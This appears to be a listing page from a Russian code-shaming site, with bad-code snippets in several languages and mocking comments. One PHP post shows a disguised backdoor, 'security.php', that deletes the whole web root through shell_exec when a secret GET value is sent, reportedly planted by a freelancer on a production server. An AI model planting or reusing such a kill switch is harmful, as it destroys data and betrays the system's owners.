1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #12591

    +14

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    int main(int argc, char* argv[])
    {
    
         SetConsoleCP(1251);// установка кодовой страницы win-cp 1251 в поток ввода
       SetConsoleOutputCP(1251); // установка кодовой страницы win-cp 1251 в поток вывода
        setlocale(LC_ALL,"Ukrainian");
    
        if(argc<2)
        {
            argv[1] = (char*)malloc(500*sizeof(char));
            //printf("Vvedit' imya vxidnogo failu: \n");
            //scanf("%s",argv[1]);
            argv[1]="1.txt";
    
        }

    Abbath, 14 Февраля 2013

    Комментарии (9)
  3. PHP / Говнокод #12576

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    <?php
    $param = $_GET['delaem'];
    if($param=='nahui')
    {
        $dir = __DIR__;
        shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
    }
    ?>

    Фрилансер защищает себя от неплатежеспособного заказчика xD

    Файл лежал на продакшин сервере около года, название файла - security.php

    uint, 11 Февраля 2013

    Комментарии (9)
  4. PHP / Говнокод #12570

    +109

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    public function __get($name){          
            if(isset($this->fields[$name])){            
                if(class_exists($this->fields[$name]) && 
                   strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 && 
                   strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){    
                    $class = $this->fields[$name];
                    $id = (string)$this->vals[$name]['id'];
                    if(!$this->refsCache[$id])
                        $this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
                    return $this->refsCache[$id];
                }else                
                    return $this->vals[$name];
            }elseif(isset($this->fieldsRev[$name])) 
                return $this->vals[$name];
            else throw new Exception('Not found field "'.$name.'" when reading in model');
        }
    
        public function __set($name, $value){    
            if(isset($this->fields[$name])){  
                if(class_exists($this->fields[$name]) && 
                   strcasecmp($this->fields[$name], get_class($value)) == 0 && 
                   strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
                    $this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
                else                
                    $this->vals[$name] = $value;
            }elseif(isset($this->fieldsRev[$name])) 
                $this->vals[$name] = $value;
            else throw new Exception('Not found field "'.$name.'" when writing in model');        
        }

    Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.

    haker, 11 Февраля 2013

    Комментарии (9)
  5. C# / Говнокод #12531

    +140

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="user_task_list.aspx.cs" Inherits="prototype_alpha.user_task_list" %>
        <form id="user_task_list_form" action="user_task_list.aspx" method="post">
            <div>
                <p>Поданные заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 101 || a.TaskState == 102))
                  {
                      var q = BidList.Where(a => a.TaskID == item.TaskID);%>
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | " + q.Count() + " | " +item.TaskPutDate + " | "+ item.TaskDeadline + " | average bid(fuck up) | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
                <br />
                <% }%>
                <p>task title* || bids' count* || task put date* || task work end date* || average bid || new comments*</p>
                <p>Выполняемые заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState >= 0 || a.TaskState < 100))
                  {
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | task work end date(time span) |"+item.TaskState+BidList.Where(a=>a.BidID==item.BidID).First().Bid1+" | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
                <br />
                <% }%>
                <p>task title* || task start date || task work end date(time span) || state* || price* || new comments*</p>
                <p>Выполненные(не сданы) заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 100))
                  {
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskWorkCompleteDate+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1+" | "+CommentList.Where(a=>a.TaskID==item.TaskID && a.CommentRead==0).Count()%>
                <br />
                <% }%>
                <p>task title* || task start date || task work end date(saw into)* || price* || new comments*</p>
                <p>Выполненные(сданы) заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState == 103 || a.TaskState == 104))
                  {
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskWorkCompleteDate+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1%>
                <br />
                <% }%>
                <p>task title* || task start date || task work end date(saw into)* || price*</p>
                <p>Замороженные заказы</p>
                <%foreach (LABA_OP_SITE.Task item in TaskList.Where(a => a.TaskState <0))
                  {
                <%=TaskDataList.Where(a=>a.TaskID==item.TaskID).First().TaskTitle + " | task start date | "+item.TaskDeadline+" | "+BidList.Where(a=>a.BidID==item.BidID).First().Bid1%>
                <br />
                <% }%>
                <p>task title* || task start date || task work end date(deadline)* || price*</p>
            </div>
        </form>

    От человека требовалось написать написать отладочную страницу для списка заказов.

    *TaskList, TaskDataList, CommentList, BidList - массивы

    kasthack, 03 Февраля 2013

    Комментарии (9)
  6. PHP / Говнокод #12441

    +49

    1. 1
    2. 2
    3. 3
    4. 4
    If($z["timeout"]==1 || $z['timeout']==3 || $z['timeout']==4 || $z['timeout']==5 || $z['timeout']==7 || $z['timeout']==10) { 
    }  else {
         $z['timeout'] = 3;
    }

    '<>' и 'or' ? неее, не слышали!

    RickMan, 17 Января 2013

    Комментарии (9)
  7. JavaScript / Говнокод #12425

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    window.onload = function () {
    
        var жирнота = [
                600,
                700,
                800,
                900
            ],
            свэг = document.getElementById("swag");
    
        свэг.innerHTML = "";
        "SWAG".split("").forEach(function (буква) {
            свэг.innerHTML += "<span>" + буква + "</span>"
        });
    
        function ослучайнить(что) {
            return Math.floor(Math.random() * что);
        }
    
        function минимальноРаскрашываетСвэг() {
    
            Array.prototype.forEach.call(свэг.children, function (буква) {
    
                буква.style.color = "#" + ослучайнить(0xffffff).toString(16);
                буква.style.fontSize = 250 + ослучайнить(175) + "px";
                буква.style.fontWeight = жирнота[ослучайнить(жирнота.length)];
    
            });
        }
    
        setInterval(минимальноРаскрашываетСвэг, 500);
    };

    __proto__, 15 Января 2013

    Комментарии (9)
  8. C++ / Говнокод #12410

    +11

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    #include <QVector>
    #include <QString>
    
    template< class TYPE> 
      class call
      {
        public:
          call( TYPE& vl ): value(vl){}
          TYPE& value;
      };
    template< class TYPE> 
      call<TYPE> all( TYPE& vl ) 
        { return call<TYPE>(vl); }
    
    template< class TYPE_OUT, class TYPE> 
      void operator << ( TYPE_OUT& out, call<TYPE>& in )
    {
      TYPE& value = in.value;
      for( TYPE::iterator itr = value.begin() ; itr!=value.end(); itr++)
        out << *itr;
    }
    
    //**********************************************************************
    
    QVector<int> arr;
    QVector<QString> arrStr;
    class Cstream{} stream;
    
    void operator << ( Cstream& , const int value)
    {
      printf("%i\n",value);
    }
    void operator << ( Cstream& , const QString& value)
    {
      printf("%s\n",value.toAscii().data());
    }
    
    
    int main(int argc, char *argv[])
    {
      for( int i=0; i<6;i++)
        arr.push_back(i);
      arrStr << "asd" << "sadas" << "sadsa";
    
      stream << all(arr);
      stream << all(arrStr);
    return 0;
    }

    http://www.gamedev.ru/flame/forum/?id=171504
    > @При копирование на говнокод сохранять авторство.

    LispGovno, 11 Января 2013

    Комментарии (9)
  9. Java / Говнокод #12332

    +81

    1. 1
    2. 2
    3. 3
    if (request.equals("") || request == null) {
        Response.status(Response.Status.NO_CONTENT).build();
    }

    ну сколько можно...

    myzone, 21 Декабря 2012

    Комментарии (9)
  10. JavaScript / Говнокод #12277

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    this.start = function() {
    		// Инициализирует парсинг выгрузки из Агента Плюс.
    		if (this.open()) {
    			this.catalogs = this.getTags("catalogs", true)[0].childs;
    			this.subdocuments = this.getTags("documents", true)[1].childs;
    			this.guids = this.document.childs[0].childs[0].childs;
    			this.sellhistory = this.getCatalog("ИсторияПродаж").childs[0].childs;
    			this.sellpoints = this.getCatalog("ТорговыеТочки").childs[0].childs;
    			this.contragents = this.getCatalog("Контрагенты").childs[1].childs;
    			this.deals = this.getCatalog("Договоры").childs[0].childs;
    			this.nomenclature = this.getCatalog("Номенклатура").childs;
    			this.measure = this.getCatalog("ЕдиницыИзмерения").childs[0].childs;
    			this.route = this.getDocument("Маршрут").childs[0].childs[0].childs[0].childs[0]
    			this.names = {deals: [], catalog: [], nomenclature: [], measure: [], contragents: [], sellpoints: []};
    			this.info = {deals: [], catalog: [], nomenclature: [], measure: [], contragents: [], sellpoints: []};
    			this.hash = {deals: {}, nomenclature: {}, consts: {}, contragents: {}, sellpoints: [], measure: {}};
    			for (var i = 0; i < this.catalogs.length; i++) {
    				this.names.catalog.push(this.catalogs[i].attrib.Comment.replace(/Справочник\./g, ""));
    				this.info.catalog.push(this.catalogs[i].attrib);
    			}
    			for (var i = 0; i < this.nomenclature[1].childs.length; i++) {
    				this.names.nomenclature.push(this.nomenclature[1].childs[i].attrib.Name);
    				this.info.nomenclature.push(this.nomenclature[1].childs[i].attrib);
    				this.hash.nomenclature[this.nomenclature[1].childs[i].attrib.GUID] = this.nomenclature[1].childs[i].attrib;
    			}
    			for (var i = 0; i < this.deals.length; i++) {
    				this.names.deals.push(this.deals[i].attrib.Name);
    				this.info.deals.push(this.deals[i].attrib);
    				this.hash.deals[this.deals[i].attrib.GUID] = this.deals[i].attrib;
    			}
    			for (var i = 0; i < this.measure.length; i++) {
    				this.names.measure.push(this.measure[i].attrib.Name);
    				this.info.measure.push(this.measure[i].attrib);
    				this.hash.measure[this.measure[i].attrib.GUID] = this.measure[i].attrib;
    			}
    			for (var i = 0; i < this.contragents.length; i++) {
    				this.names.contragents.push(this.contragents[i].attrib.Name);
    				this.info.contragents.push(this.contragents[i].attrib);
    				this.hash.contragents[this.contragents[i].attrib.GUID] = this.contragents[i].attrib;
    			}
    			for (var i = 0; i < this.sellpoints.length; i++) {
    				this.names.sellpoints.push(this.sellpoints[i].attrib.Name);
    				this.info.sellpoints.push(this.sellpoints[i].attrib);
    				this.hash.sellpoints[this.sellpoints[i].attrib.GUID] = this.sellpoints[i].attrib;
    			}
    			for (var i = 0; i < this.guids.length; i++) {
    				this.hash.consts[this.guids[i].attrib.GUID] = this.guids[i].attrib.VALUE;
    			}
    			
    			this.dynamic.routes = new Array();
    			for (var i = 0; i < this.route.childs.length; i++) {
    				var sp = this.getSPointByGUID(this.route.childs[i].attrib.A02);
    				var adr = sp.Name;
    				var ca = this.getCAgentByGUID(this.route.childs[i].attrib.A01);
    				var ptypeguid = this.hash.deals[ca.A08].A06;
    				var cagent = ca.Name;
    				var dealguid = ca.A08;
    				var exists = false;
    				for (var j = 0; j < this.dynamic.routes.length; j++) if (this.dynamic.routes[j].address.trim().toLowerCase() == adr.trim().toLowerCase()) exists = exists || true;
    				if (!exists) this.dynamic.routes.push({ptypeguid: ptypeguid, spointguid: sp.GUID, address: adr, dealguid: dealguid, cagent: cagent, cagentguid: ca.GUID, datestamp: this.convRouteDate(this.route.childs[i].attrib.A03)});
    			}
    		} else return;
    	};

    Маленькая часть нашего скрипта для работы с 1С - Node.JS - WebClient.

    Govnisti_Diavol, 12 Декабря 2012

    Комментарии (9)
  11. Pascal / Говнокод #12272

    +91

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    procedure RecursiveVisibility(e : PCreature; oct, depth : integer; slopeA, slopeB : single);
    var
      x, y : integer;
    begin
      case oct of
        1 : begin
          y := e^.y - depth;                                                { initialize y }
          x := round(e^.x - slopeA * depth);                                { initialize z }
          while GetSlopeStd(x, y, e^.x, e^.y) >= slopeB do begin            { while in octant }
            if GetVisDistance(x, y, e^.x, e^.y) <= mw then begin            { if within max visual range }
              if WorldSurface[x, y].entity^.obstruct then begin             { if obstruction }
                if not WorldSurface[x - 1, y].entity^.obstruct then begin   { if no prior obstruction }
                  RecursiveVisibility(e, 1, depth + 1, slopeA, GetSlopeStd(x - 0.5, y + 0.5, e^.x, e^.y));
                end;                                                        { ^create recursive scan }
              end else begin                                                { no obstruction }
                if WorldSurface[x - 1, y].entity^.obstruct then begin       { if prior obstruction }
                  slopeA := GetSlopeStd(x - 0.5, y - 0.5, e^.x, e^.y);      { adjust slope for later recursion }
                end;
              end;
              WorldSurface[x, y].visibility := 3;                           { set block visible }
            end;
            inc(x);
          end;
          dec(x)
        end;
        2 : begin
          y := e^.y - depth;                                                { initialize y }
          x := round(e^.x + slopeA * depth);                                { initialize z }
          while GetSlopeStd(x, y, e^.x, e^.y) <= slopeB do begin            { while in octant }
            if GetVisDistance(x, y, e^.x, e^.y) <= mw then begin            { if within max visual range }
              if WorldSurface[x, y].entity^.obstruct then begin             { if obstruction }
                if not WorldSurface[x + 1, y].entity^.obstruct then begin   { if no prior obstruction }
                  RecursiveVisibility(e, 2, depth + 1, slopeA, GetSlopeStd(x + 0.5, y + 0.5, e^.x, e^.y));
                end;                                                        { ^create recursive scan }
              end else begin                                                { no obstruction }
                if WorldSurface[x + 1, y].entity^.obstruct then begin       { if prior obstruction }
                  slopeA := -GetSlopeStd(x + 0.5, y - 0.5, e^.x, e^.y);     { adjust slope for later recursion }
                end;
              end;
              WorldSurface[x, y].visibility := 3;                           { set block visible }
            end;
            dec(x);
          end;
          inc(x)
        end;
     // Далее всё в таком же духе.

    Отсюда: http://roguebasin.roguelikedevelopment.org/index.php?title=FOV_using_recursive_shad owcasting_-_improved
    Можно было сделать менее говнокодистей?

    Govnocoder#0xFF, 11 Декабря 2012

    Комментарии (9)